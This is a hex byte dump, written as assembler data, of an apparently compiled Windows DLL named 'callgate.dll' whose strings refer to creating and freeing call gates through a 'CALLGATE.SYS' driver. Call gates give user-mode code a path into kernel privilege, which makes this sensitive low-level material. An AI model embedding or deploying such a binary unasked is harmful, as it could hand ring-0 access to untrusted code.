02DH,0A1H,01CH,0A4H,000H,010H,08BH,004H,028H,083H,0C0H,020H,050H,0FFH,0D3H 08BH,00DH,01CH,0A4H,000H,010H,08BH,014H,029H,052H,0E8H,0F5H,0FCH,0FFH,0FFH 083H,0C4H,004H,08BH,00DH,01CH,0A4H,000H,010H,0C7H,004H,029H,000H,000H,000H 000H,083H,0C5H,004H,047H,03BH,03DH,018H,0A4H,000H,010H,07CH,0A1H,06AH,002H 0E8H,072H,0FBH,0FFH,0FFH,083H,0C4H,004H,08BH,0C6H,05DH,05FH,05EH,05BH,0C3H 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,08BH,074H,024H,008H,056H,0E8H 035H,000H,000H,000H,083H,0C4H,004H,085H,0C0H,074H,007H,0B8H,0FFH,0FFH,0FFH 0FFH,05EH,0C3H,0F6H,046H,00DH,040H,074H,019H,08BH,046H,010H,050H,0E8H,0F8H 001H,000H,000H,083H,0C4H,004H,083H,0F8H,001H,0B8H,000H,000H,000H,000H,05EH 083H,0D0H,0FFH,0C3H,033H,0C0H,05EH,0C3H,0CCH,0CCH,0CCH,0CCH,053H,056H,08BH 074H,024H,00CH,057H,033H,0FFH,08BH,046H,00CH,08BH,0C8H,080H,0E1H,003H,080H 0F9H,002H,075H,03CH,0A9H,008H,001H,000H,000H,074H,035H,08BH,046H,008H,08BH

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

01EH,02BH,0D8H,085H,0DBH,07EH,02AH,053H,050H,08BH,046H,010H,050H,0E8H,05DH 002H,000H,000H,083H,0C4H,00CH,03BH,0C3H,075H,00FH,08BH,046H,00CH,0A8H,080H 074H,011H,083H,0E0H,0FDH,089H,046H,00CH,0EBH,009H,083H,04EH,00CH,020H,0BFH 0FFH,0FFH,0FFH,0FFH,08BH,046H,008H,089H,006H,08BH,0C7H,0C7H,046H,004H,000H 000H,000H,000H,05FH,05EH,05BH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,06AH,001H,0E8H,009H,000H,000H,000H,083H,0C4H,004H,0C3H 0CCH,0CCH,0CCH,0CCH,0CCH,083H,0ECH,004H,053H,056H,057H,055H,033H,0FFH,06AH 002H,033H,0F6H,033H,0DBH,089H,07CH,024H,014H,0E8H,018H,0FAH,0FFH,0FFH,08BH 06CH,024H,01CH,083H,0C4H,004H,0A1H,01CH,0A4H,000H,010H,08BH,004H,018H,085H 0C0H,074H,065H,0F6H,040H,00CH,083H,074H,05FH,050H,056H,0E8H,0C8H,0FAH,0FFH 0FFH,083H,0C4H,008H,0A1H,01CH,0A4H,000H,010H,08BH,00CH,018H,08BH,041H,00CH 0A8H,083H,074H,034H,083H,0FDH,001H,075H,011H,051H,0E8H,0EBH,0FEH,0FFH,0FFH 083H,0C4H,004H,083H,0F8H,0FFH,074H,021H,047H,0EBH,01EH,085H,0EDH,075H,01AH 0A8H,002H,074H,016H,051H,0E8H,0D2H,0FEH,0FFH,0FFH,083H,0C4H,004H,083H,0F8H 0FFH,075H,008H,0C7H,044H,024H,010H,0FFH,0FFH,0FFH,0FFH,0A1H,01CH,0A4H,000H 010H,08BH,00CH,018H,051H,056H,0E8H,0E3H,0FAH,0FFH,0FFH,083H,0C4H,008H,083H 0C3H,004H,046H,081H,0FBH,000H,008H,000H,000H,07CH,083H,06AH,002H,0E8H,0FDH 0F9H,0FFH,0FFH,083H,0C4H,004H,08BH,0C7H,083H,0FDH,001H,074H,004H,08BH,044H 024H,010H,05DH,05FH,05EH,05BH,083H,0C4H,004H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,056H,057H,0BFH,0FFH,0FFH,0FFH,0FFH,08BH,074H,024H,00CH,0F6H,046H 00CH,040H,074H,00CH,0C7H,046H,00CH,000H,000H,000H,000H,08BH,0C7H,05FH,05EH 0C3H,056H,0E8H,0DDH,0F9H,0FFH,0FFH,083H,0C4H,004H,056H,0E8H,014H,000H,000H 000H,083H,0C4H,004H,08BH,0F8H,056H,0E8H,039H,0FAH,0FFH,0FFH,083H,0C4H,004H 08BH,0C7H,05FH,05EH,0C3H,0CCH,056H,057H,0BFH,0FFH,0FFH,0FFH,0FFH,08BH,074H 024H,00CH,0F6H,046H,00CH,083H,074H,042H,056H,0E8H,069H,0FEH,0FFH,0FFH,083H 0C4H,004H,08BH,0F8H,056H,0E8H,0AEH,004H,000H,000H,083H,0C4H,004H,08BH,046H 010H,050H,0E8H,0A2H,003H,000H,000H,083H,0C4H,004H,085H,0C0H,07DH,007H,0BFH 0FFH,0FFH,0FFH,0FFH,0EBH,017H,08BH,046H,01CH,085H,0C0H,074H,010H,050H,0E8H 0B7H,0FAH,0FFH,0FFH,0C7H,046H,01CH,000H,000H,000H,000H,083H,0C4H,004H,0C7H 046H,00CH,000H,000H,000H,000H,08BH,0C7H,05FH,05EH,0C3H,0CCH,053H,056H,08BH 074H,024H,00CH,057H,039H,035H,020H,0B4H,000H,010H,076H,07FH,08BH,0C6H,083H 0E0H,0E7H,0C1H,0F8H,003H,08DH,098H,030H,0B4H,000H,010H,08BH,0C6H,083H,0E0H 01FH,08BH,00BH,0C1H,0E0H,002H,08DH,03CH,0C0H,0F6H,044H,039H,004H,001H,074H 05DH,056H,0E8H,009H,006H,000H,000H,083H,0C4H,004H,08BH,003H,0F6H,044H,038H 004H,001H,074H,02CH,056H,0BFH,000H,000H,000H,000H,0E8H,0A2H,005H,000H,000H 083H,0C4H,004H,050H,0FFH,015H,0E8H,0C1H,000H,010H,085H,0C0H,075H,008H,0FFH 015H,048H,0C1H,000H,010H,08BH,0F8H,085H,0FFH,074H,017H,0E8H,0D3H,004H,000H 000H,089H,038H,0BFH,0FFH,0FFH,0FFH,0FFH,0E8H,0B7H,004H,000H,000H,0C7H,000H 009H,000H,000H,000H,056H,0E8H,02BH,006H,000H,000H,083H,0C4H,004H,08BH,0C7H 05FH,05EH,05BH,0C3H,0E8H,09DH,004H,000H,000H,05FH,0C7H,000H,009H,000H,000H 000H,0B8H,0FFH,0FFH,0FFH,0FFH,05EH,05BH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,057H,08BH,074H,024H,00CH,039H 035H,020H,0B4H,000H,010H,076H,04CH,08BH,0C6H,08BH,0CEH,083H,0E0H,0E7H,083H 0E1H,01FH,0C1H,0F8H,003H,0C1H,0E1H,002H,08BH,090H,030H,0B4H,000H,010H,08DH 004H,0C9H,0F6H,044H,002H,004H,001H,074H,02CH,056H,0E8H,05CH,005H,000H,000H 08BH,044H,024H,018H,08BH,04CH,024H,014H,083H,0C4H,004H,050H,051H,056H,0E8H 039H,000H,000H,000H,083H,0C4H,00CH,08BH,0F8H,056H,0E8H,0AEH,005H,000H,000H 083H,0C4H,004H,08BH,0C7H,05FH,05EH,0C3H,0E8H,021H,004H,000H,000H,0C7H,000H 009H,000H,000H,000H,0E8H,026H,004H,000H,000H,05FH,0C7H,000H,000H,000H,000H 000H,0B8H,0FFH,0FFH,0FFH,0FFH,05EH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,081H,0ECH,018H,004H,000H,000H,053H,056H,057H,055H,033H,0FFH,08BH,0ACH 024H,034H,004H,000H,000H,089H,07CH,024H,020H,03BH,0EFH,075H,00DH,033H,0C0H 05DH,05FH,05EH,05BH,081H,0C4H,018H,004H,000H,000H,0C3H,08BH,094H,024H,02CH 004H,000H,000H,08BH,0C2H,083H,0E0H,0E7H,0C1H,0F8H,003H,005H,030H,0B4H,000H 010H,089H,044H,024H,018H,08BH,0C2H,083H,0E0H,01FH,08BH,05CH,024H,018H,0C1H 0E0H,002H,08DH,00CH,0C0H,08BH,003H,089H,04CH,024H,01CH,0F6H,044H,008H,004H 020H,074H,00DH,06AH,002H,06AH,000H,052H,0E8H,04AH,005H,000H,000H,083H,0C4H 00CH,08BH,044H,024H,018H,08BH,04CH,024H,01CH,003H,008H,0F6H,041H,004H,080H 00FH,084H,088H,000H,000H,000H,0C7H,044H,024H,010H,000H,000H,000H,000H,08BH 09CH,024H,030H,004H,000H,000H,08BH,0C3H,02BH,084H,024H,030H,004H,000H,000H 03BH,0C5H,00FH,083H,0A1H,000H,000H,000H,08DH,074H,024H,024H,08BH,0C3H,02BH 084H,024H,030H,004H,000H,000H,03BH,0C5H,073H,01EH,08AH,003H,043H,03CH,00AH 075H,005H,0C6H,006H,00DH,047H,046H,088H,006H,046H,08BH,0C6H,08DH,04CH,024H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

024H,02BH,0C1H,03DH,000H,004H,000H,000H,07CH,0D5H,08DH,044H,024H,024H,06AH 000H,02BH,0F0H,08DH,04CH,024H,028H,08DH,044H,024H,018H,08BH,054H,024H,01CH 050H,056H,051H,08BH,002H,08BH,04CH,024H,02CH,08BH,014H,008H,052H,0FFH,015H 0CCH,0C1H,000H,010H,085H,0C0H,074H,03DH,08BH,044H,024H,014H,001H,044H,024H 020H,03BH,0C6H,07DH,089H,0EBH,039H,08DH,044H,024H,014H,06AH,000H,08BH,094H 024H,034H,004H,000H,000H,050H,055H,08BH,009H,052H,051H,0FFH,015H,0CCH,0C1H 000H,010H,085H,0C0H,074H,012H,0C7H,044H,024H,010H,000H,000H,000H,000H,08BH 044H,024H,014H,089H,044H,024H,020H,0EBH,00AH,0FFH,015H,048H,0C1H,000H,010H 089H,044H,024H,010H,083H,07CH,024H,020H,000H,00FH,085H,0A1H,000H,000H,000H 083H,07CH,024H,010H,000H,074H,04AH,083H,07CH,024H,010H,005H,075H,026H,0E8H 0A4H,002H,000H,000H,0C7H,000H,009H,000H,000H,000H,0E8H,0A9H,002H,000H,000H 08BH,04CH,024H,010H,05DH,05FH,089H,008H,0B8H,0FFH,0FFH,0FFH,0FFH,05EH,05BH 081H,0C4H,018H,004H,000H,000H,0C3H,08BH,04CH,024H,010H,051H,0E8H,0F9H,001H 000H,000H,083H,0C4H,004H,0B8H,0FFH,0FFH,0FFH,0FFH,05DH,05FH,05EH,05BH,081H 0C4H,018H,004H,000H,000H,0C3H,08BH,044H,024H,018H,08BH,04CH,024H,01CH,08BH 010H,0F6H,044H,00AH,004H,040H,074H,019H,08BH,084H,024H,030H,004H,000H,000H 080H,038H,01AH,075H,00DH,033H,0C0H,05DH,05FH,05EH,05BH,081H,0C4H,018H,004H 000H,000H,0C3H,0E8H,037H,002H,000H,000H,0C7H,000H,01CH,000H,000H,000H,0E8H 03CH,002H,000H,000H,05DH,0C7H,000H,000H,000H,000H,000H,0B8H,0FFH,0FFH,0FFH 0FFH,05FH,05EH,05BH,081H,0C4H,018H,004H,000H,000H,0C3H,08BH,044H,024H,020H 05DH,02BH,0C7H,05FH,05EH,05BH,081H,0C4H,018H,004H,000H,000H,0C3H,0CCH,0CCH 0CCH,0CCH,0CCH,055H,08BH,0ECH,057H,056H,08BH,07DH,008H,08BH,0D7H,033H,0C0H 083H,0C9H,0FFH,0F2H,0AEH,04FH,08BH,0F7H,08BH,07DH,00CH,057H,08BH,04DH,010H 0F2H,0AEH,075H,001H,041H,02BH,04DH,010H,0F7H,0D9H,08BH,0FEH,05EH,0F3H,0A4H 0AAH,08BH,0C2H,05EH,05FH,0C9H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,057H,08BH,074H,024H,00CH,039H,035H 020H,0B4H,000H,010H,076H,042H,08BH,0C6H,08BH,0CEH,083H,0E0H,0E7H,083H,0E1H 01FH,0C1H,0F8H,003H,0C1H,0E1H,002H,08BH,090H,030H,0B4H,000H,010H,08DH,004H 0C9H,0F6H,044H,002H,004H,001H,074H,022H,056H,0E8H,09CH,002H,000H,000H,083H 0C4H,004H,056H,0E8H,033H,000H,000H,000H,083H,0C4H,004H,08BH,0F8H,056H,0E8H 0F8H,002H,000H,000H,083H,0C4H,004H,08BH,0C7H,05FH,05EH,0C3H,0E8H,06BH,001H 000H,000H,0C7H,000H,009H,000H,000H,000H,0E8H,070H,001H,000H,000H,05FH,0C7H 000H,000H,000H,000H,000H,0B8H,0FFH,0FFH,0FFH,0FFH,05EH,0C3H,0CCH,0CCH,056H 057H,08BH,074H,024H,00CH,083H,0FEH,001H,074H,005H,083H,0FEH,002H,075H,01AH 06AH,002H,0E8H,0F9H,001H,000H,000H,083H,0C4H,004H,08BH,0F8H,06AH,001H,0E8H 0EDH,001H,000H,000H,083H,0C4H,004H,03BH,0F8H,074H,01EH,056H,0E8H,0E0H,001H 000H,000H,083H,0C4H,004H,050H,0FFH,015H,090H,0C1H,000H,010H,085H,0C0H,075H 00AH,0FFH,015H,048H,0C1H,000H,010H,08BH,0F8H,0EBH,002H,033H,0FFH,056H,0E8H 020H,001H,000H,000H,083H,0C4H,004H,085H,0FFH,074H,011H,057H,0E8H,073H,000H 000H,000H,083H,0C4H,004H,0B8H,0FFH,0FFH,0FFH,0FFH,05FH,05EH,0C3H,08BH,0C6H 083H,0E6H,01FH,0C1H,0E6H,002H,083H,0E0H,0E7H,0C1H,0F8H,003H,05FH,08BH,088H 030H,0B4H,000H,010H,08DH,004H,0F6H,05EH,0C6H,044H,001H,004H,000H,033H,0C0H 0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,08BH,074H,024H,008H,08BH,046H 00CH,0A8H,083H,074H,02BH,0A8H,008H,074H,027H,08BH,046H,008H,050H,0E8H,017H 0F6H,0FFH,0FFH,083H,0C4H,004H,0C7H,006H,000H,000H,000H,000H,081H,066H,00CH 0F7H,0FBH,0FFH,0FFH,0C7H,046H,008H,000H,000H,000H,000H,0C7H,046H,004H,000H 000H,000H,000H,05EH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,0E8H,08AH 000H,000H,000H,08BH,04CH,024H,008H,033H,0F6H,089H,008H,0B8H,000H,05BH,000H 010H,039H,008H,074H,022H,083H,0C0H,008H,046H,03DH,068H,05CH,000H,010H,072H 0F1H,083H,0F9H,013H,072H,022H,083H,0F9H,024H,077H,01DH,0E8H,04FH,000H,000H 000H,05EH,0C7H,000H,00DH,000H,000H,000H,0C3H,0E8H,042H,000H,000H,000H,08BH 00CH,0F5H,004H,05BH,000H,010H,05EH,089H,008H,0C3H,081H,0F9H,0BCH,000H,000H 000H,072H,015H,081H,0F9H,0CAH,000H,000H,000H,077H,00DH,0E8H,022H,000H,000H 000H,05EH,0C7H,000H,008H,000H,000H,000H,0C3H,0E8H,015H,000H,000H,000H,05EH 0C7H,000H,016H,000H,000H,000H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0E8H,00BH,0E5H,0FFH,0FFH,083H,0C0H,008H,0C3H,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0E8H,0FBH,0E4H,0FFH,0FFH,083H,0C0H,00CH,0C3H 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,04CH,024H,004H,056H,057H,039H,00DH 020H,0B4H,000H,010H,076H,065H,08BH,0C1H,083H,0E0H,0E7H,0C1H,0F8H,003H,08DH 0B8H,030H,0B4H,000H,010H,08BH,0C1H,083H,0E0H,01FH,0C1H,0E0H,002H,08DH,034H 0C0H,08BH,007H,003H,0C6H,0F6H,040H,004H,001H,074H,042H,083H,038H,0FFH,074H 03DH,083H,03DH,070H,050H,000H,010H,001H,075H,026H,085H,0C9H,074H,00CH,083H 0F9H,001H,074H,00DH,083H,0F9H,002H,074H,00EH,0EBH,016H,06AH,000H,06AH,0F6H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

0EBH,00AH,06AH,000H,06AH,0F5H,0EBH,004H,06AH,000H,06AH,0F4H,0FFH,015H,0A8H 0C1H,000H,010H,08BH,007H,05FH,0C7H,004H,030H,0FFH,0FFH,0FFH,0FFH,033H,0C0H 05EH,0C3H,0E8H,068H,0FFH,0FFH,0FFH,0C7H,000H,009H,000H,000H,000H,0E8H,06DH 0FFH,0FFH,0FFH,05FH,0C7H,000H,000H,000H,000H,000H,0B8H,0FFH,0FFH,0FFH,0FFH 05EH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,08BH,04CH,024H,004H,039H,00DH,020H,0B4H,000H,010H,076H,022H,08BH 0C1H,083H,0E1H,01FH,0C1H,0E1H,002H,083H,0E0H,0E7H,0C1H,0F8H,003H,08DH,014H 0C9H,08BH,080H,030H,0B4H,000H,010H,003H,0C2H,0F6H,040H,004H,001H,074H,003H 08BH,000H,0C3H,0E8H,00DH,0FFH,0FFH,0FFH,0C7H,000H,009H,000H,000H,000H,0E8H 012H,0FFH,0FFH,0FFH,0C7H,000H,000H,000H,000H,000H,0B8H,0FFH,0FFH,0FFH,0FFH 0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,044H,024H,004H,053H,056H,08BH,0C8H 057H,083H,0E1H,0E7H,0C1H,0F9H,003H,083H,0E0H,01FH,0C1H,0E0H,002H,08DH,0B9H 030H,0B4H,000H,010H,08DH,034H,0C0H,08BH,01FH,003H,0DEH,083H,07BH,008H,000H 075H,027H,06AH,011H,0E8H,061H,0F2H,0FFH,0FFH,083H,0C4H,004H,083H,07BH,008H 000H,075H,00DH,08DH,043H,00CH,050H,0FFH,015H,0D0H,0C1H,000H,010H,0FFH,043H 008H,06AH,011H,0E8H,0B4H,0F2H,0FFH,0FFH,083H,0C4H,004H,08BH,007H,003H,0C6H 083H,0C0H,00CH,050H,0FFH,015H,0D4H,0C1H,000H,010H,05FH,05EH,05BH,0C3H,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH 04CH,024H,004H,08BH,0C1H,083H,0E1H,01FH,0C1H,0E1H,002H,083H,0E0H,0E7H,0C1H 0F8H,003H,08DH,014H,0C9H,08BH,080H,030H,0B4H,000H,010H,003H,0C2H,083H,0C0H 00CH,050H,0FFH,015H,0D8H,0C1H,000H,010H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,056H,057H,08BH,074H,024H,00CH,056H,0E8H,004H,0FFH,0FFH,0FFH,083H 0C4H,004H,083H,0F8H,0FFH,075H,013H,0E8H,037H,0FEH,0FFH,0FFH,05FH,0C7H,000H 009H,000H,000H,000H,0B8H,0FFH,0FFH,0FFH,0FFH,05EH,0C3H,08BH,04CH,024H,014H 08BH,054H,024H,010H,051H,06AH,000H,052H,050H,0FFH,015H,0ACH,0C1H,000H,010H 083H,0F8H,0FFH,08BH,0F8H,0B8H,000H,000H,000H,000H,075H,006H,0FFH,015H,048H 0C1H,000H,010H,085H,0C0H,074H,011H,050H,0E8H,07AH,0FDH,0FFH,0FFH,083H,0C4H 004H,0B8H,0FFH,0FFH,0FFH,0FFH,05FH,05EH,0C3H,08BH,0C6H,083H,0E6H,01FH,0C1H 0E6H,002H,083H,0E0H,0E7H,0C1H,0F8H,003H,08BH,088H,030H,0B4H,000H,010H,08DH 004H,0F6H,080H,064H,001H,004H,0FDH,08BH,0C7H,05FH,05EH,0C3H,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,053H,056H,08BH,044H 024H,018H,00BH,0C0H,075H,018H,08BH,04CH,024H,014H,08BH,044H,024H,010H,033H 0D2H,0F7H,0F1H,08BH,0D8H,08BH,044H,024H,00CH,0F7H,0F1H,08BH,0D3H,0EBH,041H 08BH,0C8H,08BH,05CH,024H,014H,08BH,054H,024H,010H,08BH,044H,024H,00CH,0D1H 0E9H,0D1H,0DBH,0D1H,0EAH,0D1H,0D8H,00BH,0C9H,075H,0F4H,0F7H,0F3H,08BH,0F0H 0F7H,064H,024H,018H,08BH,0C8H,08BH,044H,024H,014H,0F7H,0E6H,003H,0D1H,072H 00EH,03BH,054H,024H,010H,077H,008H,072H,007H,03BH,044H,024H,00CH,076H,001H 04EH,033H,0D2H,08BH,0C6H,05EH,05BH,0C2H,010H,000H,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,053H,08BH,044H,024H,014H,00BH,0C0H,075H,018H,08BH,04CH,024H 010H,08BH,044H,024H,00CH,033H,0D2H,0F7H,0F1H,08BH,044H,024H,008H,0F7H,0F1H 08BH,0C2H,033H,0D2H,0EBH,050H,08BH,0C8H,08BH,05CH,024H,010H,08BH,054H,024H 00CH,08BH,044H,024H,008H,0D1H,0E9H,0D1H,0DBH,0D1H,0EAH,0D1H,0D8H,00BH,0C9H 075H,0F4H,0F7H,0F3H,08BH,0C8H,0F7H,064H,024H,014H,091H,0F7H,064H,024H,010H 003H,0D1H,072H,00EH,03BH,054H,024H,00CH,077H,008H,072H,00EH,03BH,044H,024H 008H,076H,008H,02BH,044H,024H,010H,01BH,054H,024H,014H,02BH,044H,024H,008H 01BH,054H,024H,00CH,0F7H,0DAH,0F7H,0D8H,083H,0DAH,000H,05BH,0C2H,010H,000H 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,06AH,002H,0E8H,0B9H 0DFH,0FFH,0FFH,083H,0C4H,004H,0C3H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 006H,000H,000H,006H,000H,001H,000H,000H,010H,000H,003H,006H,000H,006H,002H 010H,004H,045H,045H,045H,005H,005H,005H,005H,005H,035H,030H,000H,050H,000H 000H,000H,000H,020H,028H,038H,050H,058H,007H,008H,000H,037H,030H,030H,057H 050H,007H,000H,000H,020H,020H,008H,000H,000H,000H,000H,008H,060H,060H,060H 060H,060H,060H,000H,000H,070H,070H,078H,078H,078H,078H,008H,007H,008H,000H 000H,007H,000H,008H,008H,008H,000H,000H,008H,000H,008H,000H,000H,008H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,0E1H,08EH,063H,033H,000H 000H,000H,000H,09CH,040H,000H,000H,001H,000H,000H,000H,002H,000H,000H,000H 002H,000H,000H,000H,088H,040H,000H,000H,090H,040H,000H,000H,098H,040H,000H 000H,000H,010H,000H,000H,040H,011H,000H,000H,0A9H,040H,000H,000H,0BCH,040H 000H,000H,000H,000H,001H,000H,063H,061H,06CH,06CH,067H,061H,074H,065H,02EH 064H,06CH,06CH,000H,05FH,043H,072H,065H,061H,074H,065H,043H,061H,06CH,06CH

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

047H,061H,074H,065H,040H,031H,032H,000H,05FH,046H,072H,065H,065H,043H,061H 06CH,06CH,047H,061H,074H,065H,040H,034H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,070H 02BH,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,040H,02CH,000H,010H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,063H,061H,06CH,06CH,067H,061H,074H,065H,000H,000H 000H,000H,030H,050H,000H,010H,043H,041H,04CH,04CH,047H,041H,054H,045H,02EH 053H,059H,053H,000H,000H,000H,000H,05CH,000H,000H,000H,05CH,05CH,02EH,05CH 025H,073H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,0F0H,017H,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,049H,073H 054H,04EH,054H,000H,000H,000H,06BH,065H,072H,06EH,065H,06CH,033H,032H,02EH 064H,06CH,06CH,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,0FFH,0FFH,0FFH,0FFH 000H,010H,000H,000H,000H,000H,000H,000H,0FFH,0FFH,0FFH,0FFH,000H,00AH,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,001H,002H,004H,008H,000H,000H,000H,000H,0A4H 003H,000H,000H,060H,082H,079H,082H,021H,000H,000H,000H,000H,000H,000H,000H 0A6H,0DFH,000H,000H,000H,000H,000H,000H,0A1H,0A5H,000H,000H,000H,000H,000H 000H,081H,09FH,0E0H,0FCH,000H,000H,000H,000H,040H,07EH,080H,0FCH,000H,000H 000H,000H,0A8H,003H,000H,000H,0C1H,0A3H,0DAH,0A3H,020H,000H,000H,000H,000H

